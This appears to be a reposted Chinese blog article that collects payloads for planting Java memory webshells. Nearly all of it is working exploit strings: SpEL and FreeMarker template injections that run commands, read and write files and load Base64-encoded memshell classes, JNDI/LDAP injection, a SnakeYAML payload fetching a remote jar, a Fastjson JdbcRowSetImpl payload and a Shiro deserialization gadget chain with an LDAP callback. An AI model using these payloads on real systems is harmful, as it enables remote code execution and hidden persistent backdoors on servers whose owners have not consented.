收集内存马打入方式

火山方舟向量数据库大模型

SPEL

一款用 不加模板解析的payload


        
  `T(java.lang.Runtime).getRuntime().exec("calc")`
  `new+java.lang.ProcessBuilder("cmd","/c","Calc").start()`
 


      

加模板解析的payload


        
 `#{new java.lang.ProcessBuilder({'calc'}).start()}` 
 


      

可以回显时使用


        
 `new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()` 
 


      

可以打入内存马高版本Spring Core 受限


        
 `#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}` 
 


      

使用JNDI 注入利用 在Springboot 中不适用,因为它会程序启动时初始化InitialContext


        
  `#{T(java.lang.System).setProperty('com.sun.jndi.ldap.object.trustURLCodebase', 'true')}` 
  `#{new javax.management.remote.rmi.RMIConnector(new javax.management.remote.JMXServiceURL("service:jmx:rmi://127.0.0.1:1389/jndi/ldap://127.0.0.1:1389/Basic/Command/Calc"), new java.util.Hashtable()).connect()}`
 


      

FreeMarker

执行命令


        
  `${"freemarker.template.utility.Execute"?new()("id")}`
  `${"freemarker.template.utility.Execute"?new()("Calc")}`
  `<#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")}`
 


      

写文件


        
 `${"freemarker.template.utility.ObjectConstructor"?new()("java.io.FileWriter","/tmp/hh.txt").append("<>").close()}` 
 


      

读文件


        
 `<#assign+value="freemarker.template.utility.ObjectConstructor"?new()("java.io.FileReader","C:\\Temp\\test.txt")>${"freemarker.template.utility.ObjectConstructor"?new()("java.util.Scanner",value).useDelimiter("\\Aasd").next()}` 
 


      

使用SPEL利用


        
 `${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc\")").getValue()}` 
 


      

使用SPEL 进行JNDI


        
 `${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("new+javax.management.remote.rmi.RMIConnector(new+javax.management.remote.JMXServiceURL(\"service:jmx:rmi://127.0.0.1:1389/jndi/ldap://127.0.0.1:1389/Basic/Command/Calc\"),new+java.util.Hashtable()).connect()").getValue()}` 
 


      

使用SPEL 加载内存马


        
 `${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("T(org.springframework.cglib.core.ReflectUtils).defineClass('SpringInterceptor',T(org.springframework.util.Base64Utils).decodeFromString(\"yv66vgAAADQA5。。。\"),new+javax.management.loading.MLet(new+java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()").getValue()}` 
 


      

使用Jython


        <#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>


      

YAML

ftp 可以换为HTTP 及其他支持协议


        
 `!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["ftp://127.0.0.1:8000/yaml-payload4.jar"]]]]` 
 


      

Fastjson


        
  `{`
  `"a":{`
  `"@type":"java.lang.Class",`
  `"val":"com.sun.rowset.JdbcRowSetImpl"`
  `},`
  `"b":{`
  `"@type":"com.sun.rowset.JdbcRowSetImpl",`
  `"dataSourceName":"ldap://xx.xx.xx.xx:9102/123",`
  `"autoCommit":true`
  `}`
  `}`
 


      

Shiro Cookie 过长?不防看看这种方法

熟悉得师傅一下就可以看出内存马怎们打了吧


        
  `final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);`
  `final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);`
  `queue.add("1");`
  `queue.add("1");`
  `Reflections.setFieldValue(comparator, "property", "parameterMetaData");`
  `JdbcRowSetImpl test = new com.sun.rowset.JdbcRowSetImpl();`
  `test.setDataSourceName("ldap://823s64b3.dns.1433.eu.org.");`
  `final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");`
  `queueArray[0] = test;`
  `return queue;`
 


      

转自地址:https://github.com/achuna33/Memoryshell-JavaALL

如有侵权,请联系删除

推荐阅读

实战|记一次奇妙的文件上传getshell

「 超详细 | 分享 」手把手教你如何进行内网渗透

神兵利器 | siusiu-渗透工具管理套件

一款功能全面的XSS扫描器

实战 | 一次利用哥斯拉马绕过宝塔waf

BurpCrypto: 万能网站密码爆破测试工具

快速筛选真实IP并整理为C段 -- 棱眼

自动探测端口顺便爆破工具t14m4t

渗透工具|无状态子域名爆破工具(1秒扫160万个子域)

查看更多精彩内容,还请关注 橘猫学安全:

每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“ 再看

0
0
0
0
关于作者

文章

0

获赞

0

收藏

0

相关资源
KubeZoo: 轻量级 Kubernetes 多租户方案探索与实践
伴随云原生技术的发展,多个租户共享 Kubernetes 集群资源的业务需求应运而生,社区现有方案各有侧重,但是在海量小租户的场景下仍然存在改进空间。本次分享对现有多租户方案进行了总结和对比,然后提出一种基于协议转换的轻量级 Kubernetes 网关服务:KubeZoo,该方案能够显著降低多租户控制面带来的资源和运维成本,同时提供安全可靠的租户隔离性。
相关产品
评论
未登录
看完啦,登录分享一下感受吧~
暂无评论